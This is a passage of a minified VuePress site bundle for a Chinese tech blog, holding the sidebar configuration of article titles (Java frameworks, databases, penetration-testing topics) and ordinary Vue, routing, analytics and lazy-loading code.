collapsable:!1,sidebarDepth:0,children:["springmvc/default.md"]},{title:"MyBatis源码",collapsable:!1,sidebarDepth:0,children:["mybatis/default.md"]},{title:"Dubbo源码",collapsable:!1,sidebarDepth:0,children:["dubbo/default.md"]}],"/md/distributed/cache/":[{title:"Redis",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/zookeeper/":[{title:"Zookeeper",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/mq/":[{title:"RabbitMQ",collapsable:!1,sidebarDepth:0,children:["rabbitmq/default.md"]},{title:"RocketMQ",collapsable:!1,sidebarDepth:0,children:["rocketmq/default.md"]},{title:"Kafka",collapsable:!1,sidebarDepth:0,children:["kafka/default.md"]}],"/md/distributed/netty/":[{title:"Netty",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/dubbo/":[{title:"Dubbo",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/mongodb/":[{title:"MongoDB",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/distributed/es/":[{title:"ElasticSearch",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/microservices/springboot/":[{title:"SpringBoot",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/microservices/springcloudalibaba/":[{title:"第一篇:专栏设计",collapsable:!1,sidebarDepth:0,children:["2022-04-02-SpringCloudAlibaba专栏开篇.md","2022-04-04-SA实战·第一篇-专栏设计.md"]},{title:"第二篇:微服务介绍",collapsable:!1,sidebarDepth:0,children:["2022-04-09-SA实战-微服务介绍.md"]},{title:"第三篇:微服务环境搭建",collapsable:!1,sidebarDepth:0,children:["2022-04-13-SA实战·项目说明-流程设计-技术选型-模块划分.md","2022-04-18-SA实战-开撸-完成通用模块的开发.md","2022-04-21-SA实战-完成三大微服务的搭建与交互开发.md"]},{title:"第四篇:服务治理",collapsable:!1,sidebarDepth:0,children:["2022-04-25-SA实战-服务治理-实现服务的注册与发现.md","2022-04-27-SA实战-第8章-服务治理-实现服务调用的负载均衡.md"]},{title:"第五篇:服务容错",collapsable:!1,sidebarDepth:0,children:["2022-04-28-SA实战-第9章-服务容错-服务雪崩与容错方案.md","2022-05-03-SA实战-第10章-服务容错-Fegin整合Sentinel.md","2022-05-05-SA实战-第11章-服务容错加餐-Sentinel核心技术与配置规则.md"]},{title:"第六篇:服务网关",collapsable:!1,sidebarDepth:0,children:["2022-05-08-SA实战-第12章-服务网关-网关概述与核心架构.md","2022-05-08-SA实战-第13章-服务网关-项目整合SpringCloudGateway.md","2022-05-10-SA实战-第14章-服务网关-SpringCloudGateway核心技术.md"]},{title:"第七篇:链路追踪",collapsable:!1,sidebarDepth:0,children:["2022-05-11-SA实战-第15章-链路追踪-核心原理与解决方案.md","2022-05-12-SA实战-第16章-链路追踪-项目整合Sleuth实现链路追踪.md","2022-05-13-SA实战-第17章-链路追踪-Sleuth整合ZipKin.md"]},{title:"第八篇:消息服务",collapsable:!1,sidebarDepth:0,children:["2022-05-17-SA实战-第18章-消息服务-MQ使用场景与选型对比.md","2022-05-18-SA实战-第19章-消息服务-项目整合RocketMQ.md","2022-05-20-SA实战-第20章-消息服务-RocketMQ核心技术.md"]},{title:"第九篇:服务配置",collapsable:!1,sidebarDepth:0,children:["2022-05-21-SA实战-第21章-服务配置-服务配置介绍与Nacos核心概念.md","2022-05-23-SA实战-第22章-服务配置-项目整合Nacos配置中心.md","2022-05-24-SA实战-第23章-服务配置-实现动态刷新与配置共享.md"]},{title:"第十篇:分布式事务",collapsable:!1,sidebarDepth:0,children:["2022-05-25-SA实战-第24章-分布式事务-分布式事务核心原理与Seata介绍.md","2022-05-25-SA实战-第25章-分布式事务-项目整合Seata实现分布式事务.md","2022-06-15-SA实战-第26章-专栏总结与后续规划.md"]},{title:"结束语",collapsable:!1,sidebarDepth:0,children:["2022-06-15-SA实战-第26章-专栏总结与后续规划.md"]}],"/md/middleware/independent/":[{title:"开源项目",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/middleware/limiter/":[{title:"分布式限流",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/middleware/threadpool/":[{title:"手写线程池",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/middleware/bytecode/":[{title:"字节码编程",collapsable:!1,sidebarDepth:0,children:["2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.md","2022-04-11-002-使用Javassist动态生成HelloWorld.md","2022-04-11-003-使用Javassist生成JavaBean.md"]}],"/md/middleware/rpc/":[{title:"RPC手撸专栏",collapsable:!1,sidebarDepth:0,children:["2022-08-24-我设计了一款TPS百万级别的RPC框架.md","2022-06-25-《RPC手撸专栏》-第1章-开篇-手撸一个能在实际场景使用的RPC框架.md","2022-06-30-《RPC手撸专栏》第2章-高性能分布式RPC框架整体设计.md","2022-08-02-《RPC手撸专栏》第3章-RPC服务核心注解的设计与实现.md","2022-08-22-《RPC手撸专栏》第4章-实现RPC服务核心注解的扫描与解析.md","2022-09-28-《RPC手撸专栏》第5章-服务提供者收发消息基础功能实现.md","2022-09-30-《RPC手撸专栏》第6章-自定义网络协议的实现.md","2022-10-02-《RPC手撸专栏》第7章-自定义网络编解码的实现.md","2022-10-03-《RPC手撸专栏》第8章-模拟服务消费者与服务提供者之间的数据交互.md","2022-10-04-《RPC手撸专栏》第9章-服务提供者调用真实方法的实现.md","2022-10-05-《RPC手撸专栏》第10章-测试服务提供者调用真实方法.md","2022-10-06-《RPC手撸专栏》第11章-服务提供者扩展支持CGLib调用真实方法.md","2022-10-08-《RPC手撸专栏》第12章-实现服务消费者与服务提供者直接通信.md","2022-10-09-《RPC手撸专栏》第13章-服务消费者异步转同步直接获取返回结果.md","2022-10-10-《RPC手撸专栏》第14章-服务消费者异步转同步的自定义Future与AQS实现.md","2022-10-11-《RPC手撸专栏》第15章-服务消费者同步-异步-单向调用的实现.md","2022-10-12-《RPC手撸专栏》第16章-服务消费者回调方法的实现.md","2022-10-13-《RPC手撸专栏》第17章-服务消费者实现动态代理功能屏蔽请求协议对象的细节.md","2022-10-17-《RPC手撸专栏》第18章-服务消费者整合动态代理实现直接调用接口返回结果数据.md","2022-10-18-《RPC手撸专栏》第19章-服务消费者动态代理实现异步调用.md"]}],"/md/project/":[{title:"项目实战",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/hack/environment/":[{title:"基础环境篇",collapsable:!1,sidebarDepth:0,children:["2022-04-17-001-安装Kali系统.md","2022-04-17-002-Kali配置.md","2022-04-17-003-Kali中各项菜单的功能.md","2022-04-17-004-安装open-vm-tools实现虚拟机交互.md","2022-04-17-005-Kali设置静态IP.md","2022-04-17-006-kali安装免杀工具Veil-Evasion.md","2022-04-17-007-在Debian8上安装WPScan.md","2022-04-17-008-metasploitable2修改密码.md","2022-04-17-009-操作系统支持的管道符.md"]}],"/md/hack/tools/":[{title:"渗透工具篇",collapsable:!1,sidebarDepth:0,children:["2022-04-17-001-使用Easy-Creds工具攻击无线网络.md","2022-04-17-002-Nmap+Zenmap+Amap+Zmap.md","2022-04-17-003-Zenmap.md","2022-04-17-004-Amap.md","2022-04-17-005-Zmap.md","2022-04-17-006-Nessus的整理.md","2022-04-17-007-Burpsuite上传截断及截断原理介绍.md","2022-04-17-008-Kali2.0Meterpreter运用.md","2022-04-17-009-lcx.exe内网转发命令教程-LCX免杀下载.md","2022-04-17-010-字典生成工具Crunch的使用案例.md","2022-04-17-011-WinlogonHack获取系统密码.md","2022-04-17-012-Msfvenom生成各类Payload命令.md","2022-04-17-013-PsExec下载地址及其用法.md","2022-04-17-014-Hydra安装Libssh模块.md","2022-04-17-015-利用procdump+Mimikatz绕过杀软获取Windows明文密码.md","2022-04-17-016-SQLMap的用法+谷歌黑客语法.md","2022-04-17-017-SQLMap用法总结.md","2022-04-17-018-SQLMap参数说明.md","2022-04-17-019-十大渗透测试演练系统.md","2022-04-17-020-目录扫描神器DirBuster用法.md","2022-04-17-021-NMap在实战中的常见用法.md","2022-04-17-022-Metasploit模块的格式说明.md","2022-04-17-023-Meterpreter命令大全.md","2022-04-17-024-Metasploit-Meterpreter-Shell信息收集相关的命令.md","2022-04-17-025-使用Metasploit编写绕过DEP渗透模块.md","2022-04-17-026-Metasploit渗透php-utility-belt程序.md","2022-04-17-027-内网IPC$入侵.md","2022-04-17-028-Metasploit渗透BSPlayerV2.68.md","2022-04-17-029-Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网.md","2022-04-17-030-Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网.md","2022-04-17-031-Metasploit攻击HFS2.3上的漏洞.md","2022-04-17-032-Metasploit访问控制的持久化.md","2022-04-17-033-Metasploit清除渗透痕迹.md","2022-04-17-034-利用Metasploit找出SCADA服务器.md","2022-04-17-035-利用Metasploit渗透DATAC-RealWin-SCADA Server2.0.md","2022-04-17-036-MSF-Meterpreter清理日志.md","2022-04-17-037-Metasploit自定义FTP扫描模块.md","2022-04-17-038-Metasploit渗透MSSQL.md","2022-04-17-039-Metasploit渗透VOIP.md","2022-04-17-040-破解工具hydra安装与使用.md","2022-04-17-041-Metasploit自定义SSH认证暴力破解器.md","2022-04-17-042-Metasploit自定义让磁盘失效的后渗透模块.md","2022-04-17-043-PowerShell基本命令和绕过权限执行.md","2022-05-02-001-Metasploit自定义收集登录凭证的后渗透模块.md","2022-05-02-002-利用Java生成穷举字典(数字+字母(大小写)+字符).md","2022-05-02-003-PowerShell工具之Powerup详解实录.md","2022-05-02-004-Meterpreter以被控制的计算机为跳板渗透其他服务器.md","2022-05-02-005-Win10完美去除桌面快捷图标小箭头.md","2022-05-02-006-OpenVAS8.0-Vulnerability-Scanning.md","2022-05-02-007-kali-Metasploit连接Postgresql默认密码.md","2022-05-02-008-使用OpenVAS进行漏洞扫描.md","2022-05-02-009-对威胁建模附加搭建CVE2014-6287漏洞环境.md","2022-05-02-010-Metasploit设置永久访问权限.md","2022-05-02-011-Empire反弹回Metasploit.md","2022-05-02-012-Metasploit制作并运行自定义Meterpreper脚本.md","2022-05-02-013-使用Metasploit实现对缓冲区栈的溢出攻击.md","2022-05-02-014-使用Metasploit实现基于SEH的缓冲区溢出攻击.md","2022-05-02-015-Metasploit基本后渗透命令.md","2022-05-02-016-Metasploit高级后渗透模块.md","2022-05-02-017-Kali中一键更新Metasploit框架.md","2022-05-02-018-Metasploit其他后渗透模块.md","2022-05-02-019-Metasploit高级扩展功能.md","2022-05-02-020-Metasploit之pushm和popm命令.md","2022-05-02-021-Metasploit使用reload-edit-reload_all命令加快开发过程.md","2022-05-02-022-Metasploit资源脚本的使用方法.md","2022-05-02-023-在Metasploit中使用AutoRunScript.md","2022-05-02-024-使用Metasploit获取目标的控制权限.md","2022-05-02-025-使用Metasploit中的NMap插件扫描并渗透内网主机.md","2022-05-02-026-Kali一句话升级Metasploit的命令.md","2022-05-02-027-Win2012R2打Windows8.1-KB2919355.md","2022-05-02-028-Armitage基本原理.md","2022-05-02-029-Armitage网络扫描以及主机管理.md","2022-05-02-030-使用Armitage进行渗透.md","2022-05-02-031-使用Armitage进行后渗透攻击.md","2022-05-02-032-使用Armitage进行客户端攻击.md","2022-05-02-033-Armitage脚本编写.md","2022-05-02-034-Armitage控制Metasploit.md","2022-05-02-035-Armitage使用Cortana实现后渗透攻击.md","2022-05-02-036-Armitage使用Cortana创建自定义菜单.md","2022-05-02-037-Armitage界面的使用.md","2022-05-02-038-tcpdump用法说明.md"]}],"/md/hack/horse/":[{title:"木马篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-各种一句话木马大全.md","2022-05-02-002-asp图片木马的制作和使用.md"]}],"/md/hack/sql/":[{title:"SQL注入篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-sqli-labs-master下载与安装.md","2022-05-02-002-SQL注入点检测方法.md","2022-05-02-003-SQL语句生成一句话.md","2022-05-02-004-ASP连接MSSQL数据库语句.md","2022-05-02-005-SQL注入绕过技术总结.md","2022-05-02-006-SQLServer启动-关闭xp_cmdshell.md"]}],"/md/hack/shell/":[{title:"漏洞拿Shell篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-各种解析漏洞拿shell.md","2022-05-02-002-网站入侵思路.md","2022-05-02-003-IIS6.0-7.0-7.5-Nginx-Apache等WebService解析漏洞.md","2022-05-02-004-iis7.5加fck解析漏洞后台拿shell.md","2022-05-02-005-真正的IIS永远的后门解密.md"]}],"/md/hack/crack/":[{title:"暴力破解篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-使用rarcrack暴力破解RAR-ZIP-7Z压缩包.md","2022-05-02-002-使用reaver傻瓜式破解wifi之利用路由器WPS漏洞.md","2022-05-02-003-Python爆破Wifi密码.md","2022-05-02-004-MySQL暴力破解工具多线程版.md"]}],"/md/hack/bash/":[{title:"渗透脚本篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-3389脚本开启代码(vbs版).md","2022-05-02-002-触发EasyFileSharingWebServer7.2HEAD缓冲区溢出的Python脚本.md"]}],"/md/hack/raising/":[{title:"数据与系统提权篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-数据库提权.md","2022-05-02-002-NC反弹CMDSHELL提权总结.md","2022-05-02-003-ASP-Web提权.md","2022-05-02-004-MSF提权.md","2022-05-02-005-Metasploit-Win10提权.md"]}],"/md/hack/client/":[{title:"客户端渗透篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-浏览器渗透.md","2022-05-02-002-对网站的客户进行渗透.md","2022-05-02-003-与DNS欺骗的结合使用.md","2022-05-02-004-基于PDF文件格式的渗透攻击.md","2022-05-02-005-基于Word文件格式的渗透攻击.md","2022-05-02-006-使用Metasploit实现对Linux客户端的渗透.md","2022-05-02-007-使用Metasploit渗透Android系统.md"]}],"/md/hack/sociology/":[{title:"社会工程学",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-Metasploit之社会工程学工具包.md"]}],"/md/hack/question/":[{title:"问题记录篇",collapsable:!1,sidebarDepth:0,children:["2022-05-02-001-HTTP错误4031禁止访问-执行访问被拒绝.md","2022-05-02-002-XP-IIS问题总结.md","2022-05-02-003-IIS-403-404问题.md","2022-05-02-004-DEDE5.7初始化数据体验包获取失败-无法下载安装.md","2022-05-02-005-discuz报错Tableuc-uc_pms-doesnt-exist-uc_pms不存在.md","2022-05-02-006-Windows远程登录提示超出允许最大连接数解决方案.md","2022-05-02-007-Windows2008自动关机最简单的解决方案.md","2022-05-02-008-Hydra安装报错.md","2022-05-02-009-安装OpenVAS后找不到默认密码无法登录Web端.md","2022-05-02-010-AppScan使用问题记录.md","2022-05-02-011-Kali系统报错.md","2022-05-02-012-Kali运行WPScan报错.md"]}],"/md/hack/log4j/":[{title:"log4j重大漏洞",collapsable:!1,sidebarDepth:0,children:["2022-05-30-冰河连夜复现了Log4j最新重大漏洞.md"]}],"/md/interview/":[{title:"面试必问系列",collapsable:!1,sidebarDepth:0,children:["2022-04-18-001-面试必问-聊聊JVM性能调优.md","2022-04-18-002-面试必问-聊聊MyBatis执行流程.md","2022-05-06-面试必问-哪些场景下Spring的事务会失效.md","2022-05-06-面试必问-如何设计一款高并发的消息中间件.md","2022-05-09-面试必问-聊聊MySQL三大核心日志的实现原理.md","2022-05-16-面试必问-聊聊Kafka的消费模型.md","2022-07-25-面试必问-一个线程从创建到消亡要经历哪些阶段.md","2022-09-26-面试必问悲观锁与乐观锁.md"]}],"/md/knowledge/book/":[{title:"出版图书",collapsable:!1,sidebarDepth:0,children:["2022-06-17-深入理解高并发编程.md","2022-03-29-深入理解分布式事务.md","2022-03-29-MySQL技术大全.md","2022-03-29-海量数据处理与大数据技术实战.md"]}],"/md/knowledge/pdf/":[{title:"冰河整理的PDF电子书",collapsable:!1,sidebarDepth:0,children:["2022-07-25-深入理解高并发编程-第1版.md","2022-07-25-十大篇章-共26个章节-332页-打包发布.md","2022-03-30-《冰河的渗透实战笔记》电子书,442页,37万字,正式发布.md"]}],"/md/about/":[{title:"关于自己",collapsable:!1,sidebarDepth:0,children:["me/about-me.md"]},{title:"关于学习",collapsable:!1,sidebarDepth:0,children:["study/default.md"]},{title:"关于职场",collapsable:!1,sidebarDepth:0,children:["job/default.md"]}],"/md/core/spring/ioc/":[{title:"IOC核心技术",collapsable:!1,sidebarDepth:0,children:["2022-04-04-001-聊聊Spring注解驱动开发那些事儿.md","2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.md","2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.md","2022-04-04-004-自定义TypeFilter指定过滤规则.md","2022-04-04-005-使用@Lazy注解实现懒加载.md","2022-04-04-006-如何按照条件向Spring中注册bean.md","2022-04-04-007-使用@Import注解给容器中快速导入一个组件.md","2022-04-04-008-深入理解Spring的ImportSelector接口.md","2022-04-04-009-在@Import注解中使用ImportSelector.md","2022-04-04-010-如何将Service注入到Servlet中.md","2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.md","2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.md","2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.md","2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.md","2022-04-04-015-@PostConstruct注解和@PreDestroy注解.md","2022-04-04-016-@PostConstruct与@PreDestroy源码解析.md","2022-04-04-017-使用@Scope注解设置组件的作用域.md","2022-04-04-018-针对bean的生命周期,我们能做哪些工作.md","2022-04-04-019-BeanPostProcessor底层原理解析.md","2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.md","2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.md","2022-04-04-022-BeanPostProcessor后置处理器浅析.md","2022-04-04-023-使用@Value注解为bean的属性赋值,原来这么简单.md","2022-04-04-024-使用@PropertySource加载配置文件,我只看这一篇.md","2022-04-04-025-使用@Autowired@Qualifier@Primary三大注解自动装配组件.md","2022-04-04-026-详解@Resource和@Inject注解.md","2022-04-04-027-如何实现方法、构造器位置的自动装配.md","2022-04-04-028-如何解决Spring的循环依赖问题.md","2022-04-04-029-看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深.md","2022-04-04-030-自定义组件如何注入Spring底层的组件.md","2022-04-04-031-使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了.md","2022-04-04-032-面试官竟然让我现场搭建一个AOP测试环境.md","2022-04-04-033-二狗子让我给他讲讲@EnableAspectJAutoProxy注解.md","2022-04-04-034-Spring中的注解中的注解使用汇总,你想要的都在这儿了.md","2022-04-04-035-为什么你用@JsonFormat注解时,LocalDateTime会反序列化失败.md","2022-04-04-036-如何实现多数据源读写分离.md","2022-04-04-037-一张图彻底理解Spring如何解决循环依赖.md","2022-04-04-038-AnnotationAwareAspectJAutoProxyCreator源码解析.md","2022-04-04-039-小伙伴们在催更Spring系列,于是我写下了这篇注解汇总.md","2022-04-04-040-一张图带你窥探「Spring注解系列」专题到底要更新些啥.md","2022-04-04-041-AnnotationAwareAspectJAutoProxyCreator类的调用流程是啥.md","2022-04-04-042-Spring中Scheduled和Async两种调度方式有啥区别.md","2022-04-04-043-AnnotationAwareAspectJAutoProxyCreator深度解析.md"]}],"/md/core/spring/aop/":[{title:"AOP核心技术",collapsable:!1,sidebarDepth:0,children:["default.md"]}],"/md/core/mysql/base/":[{title:"MySQL基础篇",collapsable:!1,sidebarDepth:0,children:["2022-08-25-MySQL索引底层技术.md","2022-08-25-MySQL之MVCC实现原理.md","2022-07-09-《MySQL核心知识》第1章-开篇-专栏介绍.md","2022-07-11-《MySQL核心知识》第2章-MySQL常用的命令.md","2022-07-13-《MySQL核心知识》第3章-MySQL中的运算符.md","2022-07-18-《MySQL核心知识》第4章-简单语法.md","2022-07-25-《MySQL核心知识》第5章-查看字段长度与类型宽度.md","2022-08-01-《MySQL核心知识》第6章-查询语句.md","2022-08-07-《MySQL核心知识》第7章-插入-更新-删除.md","2022-08-15-《MySQL核心知识》第8章-索引.md","2022-08-22-《MySQL核心知识》第9章-函数.md","2022-08-29-《MySQL核心知识》第10章:自定义存储过程和函数.md","2022-09-16-《MySQL核心知识》第11章:视图.md","2022-09-19-《MySQL核心知识》第12章:触发器.md","2022-09-26-《MySQL核心知识》第13章:权限管理.md","2022-09-28-《MySQL核心知识》第14章:数据备份与恢复.md","2022-10-18-《MySQL核心知识》第15章-自动备份与恢复MySQL数据库并发送Email邮件.md"]}],"/md/core/jvm/":[{title:"JVM核心技术",collapsable:!1,sidebarDepth:0,children:["2022-04-18-001-JVM调优的几种场景.md","2022-04-18-002-类的编译.md","2022-04-18-003-类的加载过程.md","2022-04-18-004-JVM内存空间.md","2022-04-18-005-JVM堆内存分配.md","2022-04-18-006-JVM垃圾回收机制.md","2022-04-18-007-JVM垃圾回收算法.md","2022-04-18-008-JVM-CMS垃圾收集器.md","2022-04-18-009-JVM -G1收集器-Region-停顿时间模型-垃圾回收.md","2022-04-18-010-JVM内存布局.md"]}],"/md/all/":[{title:"冰河指南",collapsable:!1,sidebarDepth:0,children:["all.md"]}]}}}},locales:{"/":{lang:"zh-CN",title:"冰河技术",description:"包含:编程语言,开发技术,分布式,微服务,高并发,高可用,高可扩展,高可维护,JVM技术,MySQL,分布式数据库,分布式事务,云原生,大数据,云计算,渗透技术,各种面试题,面试技巧...",path:"/"}}};E(239);zE.component("LockArticle",()=>Promise.all([E.e(0),E.e(5)]).then(E.bind(null,300))),zE.component("PayArticle",()=>Promise.all([E.e(0),E.e(6)]).then(E.bind(null,301))),zE.component("Badge",()=>Promise.all([E.e(0),E.e(7)]).then(E.bind(null,664))),zE.component("CodeBlock",()=>Promise.all([E.e(0),E.e(8)]).then(E.bind(null,302))),zE.component("CodeGroup",()=>Promise.all([E.e(0),E.e(9)]).then(E.bind(null,303)));E(240);var Ho=!0,Ko="lazy",Go="200px",Xo=[({router:e})=>{e.beforeEach((e,t,E)=>{"undefined"!=typeof _hmt&&e.path&&_hmt.push(["_trackPageview",e.fullPath]),E()})},{},({Vue:e})=>{e.mixin({computed:{$dataBlock(){return this.$options.__data__block__}}})},{},{},({router:e})=>{"undefined"!=typeof window&&function(){var e=document.createElement("script"),t=window.location.protocol.split(":")[0];e.src="https"===t?"https://zz.bdstatic.com/linksubmit/push.js":"http://push.zhanzhang.baidu.com/push.js";var E=document.getElementsByTagName("script")[0];E.parentNode.insertBefore(e,E)}()},({Vue:e})=>{e.component("CodeCopy",qo)},({Vue:e})=>{e.mixin({data:()=>({$io:void 0}),mounted(){const e=document.querySelectorAll("img."+Ko);Ho&&"loading"in HTMLImageElement.prototype?e.forEach(e=>{!e.getAttribute("src")&&e.setAttribute("src",e.getAttribute("data-src"))}):(this.setObserver(),e.forEach(e=>{this.$io.observe(e)}))},methods:{setObserver(){this.$io=new IntersectionObserver(e=>{e.forEach(e=>{if(e.isIntersecting){const t=this.getSrc(e.target);t&&(e.target.src=t),this.$io.unobserve(e.target)}})},{rootMargin:Go})},getSrc(e){if(e.dataset)return e.dataset.src;{const t=e.attributes.find(e=>"data-src"===e.nodeName);return t&&t.nodeValue}}}})},({router:e})=>{}],Yo=["LockArticle","PayArticle"];class ei extends class{constructor(){this.store=new zE({data:{state:{}}})}$get(e){return this.store.state[e]}$set(e,t){zE.set(this.store.state,e,t)}$emit(...e){this.store.$emit(...e)}$on(...e){this.store.$on(...e)}}{}Object.assign(ei.prototype,{getPageAsyncComponent:no,getLayoutAsyncComponent:oo,getAsyncComponent:io,getVueComponent:co});var ti={install(e){const t=new ei;e.$vuepress=t,e.prototype.$vuepress=t}};function Ei(e,t){const E=t.toLowerCase();return e.options.routes.some(e=>e.path.toLowerCase()===E)}var li={props:{pageKey:String,slotKey:{type:String,default:"default"}},render(e){const t=this.pageKey||this.$parent.$page.key;return mo("pageKey",t),zE.component(t)||zE.component(t,no(t)),zE.component(t)?e(t):e("")}},ri={functional:!0,props:{slotKey:String,required:!0},render:(e,{props:t,slots:E})=>e("div",{class:["content__"+t.slotKey]},E()[t.slotKey])},ai={computed:{openInNewWindowTitle(){return this.$themeLocaleConfig.openNewWindowText||"(opens new window)"}}},ni=(E(241),E(242),Object(Io.a)(ai,(function(){var e=this._self._c;return e("span",[e("svg",{staticClass:"icon outbound",attrs:{xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",x:"0px",y:"0px",viewBox:"0 0 100 100",width:"15",height:"15"}},[e("path",{attrs:{fill:"currentColor",d:"M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"}}),this._v(" "),e("polygon",{attrs:{fill:"currentColor",points:"45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"}})]),this._v(" "),e("span",{staticClass:"sr-only"},[this._v(this._s(this.openInNewWindowTitle))])])}),[],!1,null,null,null).exports),oi={functional:!0,render(e,{parent:t,children:E}){if(t._isMounted)return E;t.$once("hook:mounted",()=>{t.$forceUpdate()})}};zE.config.productionTip=!1,zE.use(Wn),zE.use(ti),zE.mixin(function(e,t,E=zE){!function(e){e.locales&&Object.keys(e.locales).forEach(t=>{e.locales[t].path=t});Object.freeze(e)}(t),E.$vuepress.$set("siteData",t);const l=new(e(E.$vuepress.$get("siteData"))),r=Object.getOwnPropertyDescriptors(Object.getPrototypeOf(l)),a={};return Object.keys(r).reduce((e,t)=>(t.startsWith("$")&&(e[t]=r[t].get),e),a),{computed:a}}(e=>class{setPage(e){this.__page=e}get $site(){return e}get $themeConfig(){return this.$site.themeConfig}get $frontmatter(){return this.$page.frontmatter}get $localeConfig(){const{locales:e={}}=this.$site;let t,E;for(const l in e)"/"===l?E=e[l]:0===this.$page.path.indexOf(l)&&(t=e[l]);return t||E||{}}get $siteTitle(){return this.$localeConfig.title||this.$site.title||""}get $canonicalUrl(){const{canonicalUrl:e}=this.$page.frontmatter;return"string"==typeof e&&e}get $title(){const e=this.$page,{metaTitle:t}=this.$page.frontmatter;if("string"==typeof t)return t;const E=this.$siteTitle,l=e.frontmatter.home?null:e.frontmatter.title||e.title;return E?l?l+" | "+E:E:l||"VuePress"}get $description(){const e=function(e){if(e){const t=e.filter(e=>"description"===e.name)[0];if(t)return t.content}}(this.$page.frontmatter.meta);return e||(this.$page.frontmatter.description||this.$localeConfig.description||this.$site.description||"")}get $lang(){return this.$page.frontmatter.lang||this.$localeConfig.lang||"en-US"}get $localePath(){return this.$localeConfig.path||"/"}get $themeLocaleConfig(){return(this.$site.themeConfig.locales||{})[this.$localePath]||{}}get $page(){return this.__page?this.__page:function(e,t){for(let E=0;EE||(e.hash?!zE.$vuepress.$get("disableScrollBehavior")&&{selector:decodeURIComponent(e.hash)}:{x:0,y:0})});!function(e){e.beforeEach((t,E,l)=>{if(Ei(e,t.path))l();else if(/(\/|\.html)$/.test(t.path))if(/\/$/.test(t.path)){const E=t.path.replace(/\/$/,"")+".html";Ei(e,E)?l(E):l()}else l();else{const E=t.path+"/",r=t.path+".html";Ei(e,r)?l(r):Ei(e,E)?l(E):l()}})}(E);const l={};try{await Promise.all(Xo.filter(e=>"function"==typeof e).map(t=>t({Vue:zE,options:l,router:E,siteData:No,isServer:e})))}catch(e){console.error(e)}return{app:new zE(Object.assign(l,{router:E,render:e=>e("div",{attrs:{id:"app"}},[e("RouterView",{ref:"layout"}),e("div",{class:"global-ui"},Yo.map(t=>e(t)))])})),router:E}}(!1).then(({app:e,router:t})=>{t.onReady(()=>{e.$mount("#app")})})}]); \ No newline at end of file +var l=Object.freeze({}),r=Array.isArray;function a(e){return null==e}function n(e){return null!=e}function o(e){return!0===e}function i(e){return"string"==typeof e||"number"==typeof e||"symbol"==typeof e||"boolean"==typeof e}function c(e){return"function"==typeof e}function A(e){return null!==e&&"object"==typeof e}var m=Object.prototype.toString;function B(e){return"[object Object]"===m.call(e)}function s(e){return"[object RegExp]"===m.call(e)}function d(e){var t=parseFloat(String(e));return t>=0&&Math.floor(t)===t&&isFinite(e)}function p(e){return n(e)&&"function"==typeof e.then&&"function"==typeof e.catch}function h(e){return null==e?"":Array.isArray(e)||B(e)&&e.toString===m?JSON.stringify(e,null,2):String(e)}function u(e){var t=parseFloat(e);return isNaN(t)?e:t}function g(e,t){for(var E=Object.create(null),l=e.split(","),r=0;r-1)return e.splice(l,1)}}var f=Object.prototype.hasOwnProperty;function b(e,t){return f.call(e,t)}function C(e){var t=Object.create(null);return function(E){return t[E]||(t[E]=e(E))}}var F=/-(\w)/g,D=C((function(e){return e.replace(F,(function(e,t){return t?t.toUpperCase():""}))})),k=C((function(e){return e.charAt(0).toUpperCase()+e.slice(1)})),S=/\B([A-Z])/g,w=C((function(e){return e.replace(S,"-$1").toLowerCase()}));var P=Function.prototype.bind?function(e,t){return e.bind(t)}:function(e,t){function E(E){var l=arguments.length;return l?l>1?e.apply(t,arguments):e.call(t,E):e.call(t)}return E._length=e.length,E};function _(e,t){t=t||0;for(var E=e.length-t,l=new Array(E);E--;)l[E]=e[E+t];return l}function M(e,t){for(var E in t)e[E]=t[E];return e}function x(e){for(var t={},E=0;E0,X=H&&H.indexOf("edge/")>0;H&&H.indexOf("android");var Y=H&&/iphone|ipad|ipod|ios/.test(H);H&&/chrome\/\d+/.test(H),H&&/phantomjs/.test(H);var ee,te=H&&H.match(/firefox\/(\d+)/),Ee={}.watch,le=!1;if(N)try{var re={};Object.defineProperty(re,"passive",{get:function(){le=!0}}),window.addEventListener("test-passive",null,re)}catch(e){}var ae=function(){return void 0===ee&&(ee=!N&&"undefined"!=typeof 